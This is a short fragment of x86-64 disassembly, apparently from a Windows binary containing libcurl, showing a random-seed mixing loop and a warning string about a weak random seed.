call fcn.14009f980
lea rcx, [rsp + 0x70]
mov rbx, rax
call fcn.14009f980
mov ecx, dword [rbx + 8]
lea rbp, [rbp + 0x10]
add ecx, dword [rax]
lea eax, [rsi + 4]
imul ecx, eax
lea eax, [rsi + 2]
imul eax, dword [rsp + 0x28]
inc rsi
shl ecx, 0x10
xor ecx, eax
mov dword [rsp + 0x28], ecx
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rbp - 0x10], xmm0
cmp rsi, 4
jb 0x1400c2a60
movaps xmm2, xmm7
lea rcx, [rsp + 0x80]
mov edx, 0x40
call fcn.1400fb6e0
call fcn.1400fb9b0
test eax, eax
je 0x1400c2a50
mov edx, 0x100
mov byte [rsp + 0xc0], r15b
lea rcx, [rsp + 0xc0]
call fcn.1400fc7e0
movaps xmm7, xmmword [rsp + 0x1d0]
movaps xmm6, xmmword [rsp + 0x1e0]
mov rdi, qword [rsp + 0x1f0]
mov rsi, qword [rsp + 0x228]
mov rbp, qword [rsp + 0x220]
mov rbx, qword [rsp + 0x218]
cmp byte [rsp + 0xc0], r15b
je 0x1400c2b9d
mov edx, 0x400
lea rcx, [rsp + 0xc0]
call fcn.1400fca50
call fcn.1400fb9b0
test eax, eax
jne 0x1400c29c9
lea rdx, str.libcurl_is_now_using_a_weak_random_seed__n
mov rcx, r14
call fcn.1400abd20
call fcn.1400fb9b0
test eax, eax
mov ecx, reloc.WLDAP32.dll_Ordinal_35
cmovne ecx, r15d
mov eax, ecx
jmp 0x1400c29cb